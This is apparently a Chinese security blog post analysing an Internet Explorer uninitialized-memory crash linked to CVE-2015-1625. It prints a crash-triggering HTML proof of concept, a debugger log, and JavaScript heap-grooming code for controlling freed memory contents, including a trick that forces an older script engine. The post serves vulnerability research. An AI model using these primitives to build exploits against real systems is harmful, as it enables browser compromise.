IE浏览器漏洞一例及未初始化内存占位研究

很久以前我们在检测safari稳定性的时候,偶然遇到了一个IE的问题,但在四月份补丁后,这一崩溃不再重现。通过咨询过IE大牛,我们发现这个问题极有可能是今年三月份补丁中的CVE-2015-1625。这个在MS15-018中被修补了的问题被描述为内存破坏漏洞,影响到全部的IE版本,鉴于我们在微软鸣谢中没有找到对应的报告者,所以这个漏洞有可能归于微软内部发现。
要触发这个IE问题,只需要以下代码:

<html>
 <head>
  <meta http-equiv="x-ua-compatible" content="IE=5" />
  <script>
   function fuzz0(){
    e_2.replaceNode(e_2);
    e_0.replaceNode(e_0);
   }
   function entry(){
    e_0.contentEditable="true";
    e_0.createTextRange().select();
    e_1.insertRow();
   }
  </script>
 </head>
 <body id=e_0 onload=entry() onactivate=fuzz0()>
  <table id=e_1>
   <tr>02</tr>
   <big id=e_2>
    <tbody></tbody>
   </big>
  </table>
 </body>
</html>

挂上调试器打开此页面,崩溃地址和寄存器的数值非常不稳定,但在打开page heap后,崩溃点很明显的指向一个固定地址。以WinXP SP3全补丁虚拟机为例,崩溃时log如下:

eax=c0c0c0c0 ebx=08900ea8 ecx=00000000 edx=c0c0c0c0 esi=09596fb0 edi=0959afa0
eip=3c5a0884 esp=07dfcd60 ebp=07dfcd70 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
mshtml!CTableRow::ComputeFormatsVirtual+0x8f:
3c5a0884 8b7a14          mov     edi,dword ptr [edx+14h] ds:0023:c0c0c0d4=????????

回溯几步可以了解到edx和eax均是一段未初始化内存的值,所以这个漏洞准确的描述应该是内存未初始化问题,而不是描述中笼统的内存破坏漏洞。

在微软的IE历史补丁上,跨域漏洞一度占据主要位置,Active控件也曾大量的出过问题,除去这两类,微软也修补过不少的溢出和一些指针空挂漏洞。到了最近几年,User After Free问题非常多,兼有一些类型混淆的漏洞。但总的来说,内存未初始化漏洞极其稀少,而且有关利用并没有见诸网络,加上传说本次Pwn2Own攻破IE的漏洞就是一个内存未初始化漏洞,所以我们比较感兴趣,并稍微查阅了一些MSDN相关文档。

抛开这个漏洞本身,要精确控制未初始化内存的值,必须保证分配的堆在一个已经释放且未清零的内存。以全补丁XP SP3为例,要达到此目的并不困难,只要以标准的heap spray方法先进性内存分配,然后再清理掉内存即可。如果我们需要大小为0x20字节的内存残像,以下代码即可达到目标。

var i=0;
var vault=new Array();
var str=unescape("%u0c0c%u0c0c");
while (str.length<0xf0) str=str+str;
str=str.substr(0, (0x20-2)/2);
for (i=0;i<1000;i++) {
vault.push(document.createElement("div"));
vault[i].setAttribute("title",str);}
for (i=0;i<1000;i++) vault[i].setAttribute("title","");
CollectGarbage();

这里还有一个问题,字符串虽然可以精确控制内存的每一字节,但在2014年7月的补丁后,这部分HTML的字符串内存在释放时会被清除掉,所以必须找一个替换的方法。在经过短时间的MSDN搜索后,我们发现很多ActiveX控件可以达到这个效果,只需要调用里面包含字符串操作的一些函数即可。这里不再赘述。另外,当我们并不需要精确控制第一个DWORD的时候,JS本身的字符串也可以满足要求。以字符串数组为例,我们通过拆分一个巨大的字符串生成数组,然后将这个数组清空,每一块内存均不会被清零,例如以空格为分隔符:

var longstr="";
var sprtr=" ";
for(i=0;i<1000;i++)
  longstr+=String.fromCharCode((i/100)%100+0x21,i%100+0x21,0x41,0x41,0x41,0x41).substr(0,3)+sprtr;
var vault=longstr.split(sprtr);
vault=null;
CollectGarbage();

这个方法可以在Win2003 IE8全补丁上达到精确控制未初始化内存的效果。

最后一点,此方法在JavaScript9.0,即IE9以上版本默认JS引擎上不能正常工作,所幸IE9以上版本可以指定JS引擎,因而只需要将JS引擎版本号降低便可。所以最后的代码应该是这种形式:

<script language="JScript.Compact">
var longstr="";
var sprtr=" ";
for(i=0;i<1000;i++)
  longstr+=String.fromCharCode((i/100)%100+0x21,i%100+0x21,0x41,0x41,0x41,0x41).substr(0,3)+sprtr;
var vault=longstr.split(sprtr);
vault=null;
CollectGarbage();
</script>

发表评论

电子邮件地址不会被公开。 必填项已用*标注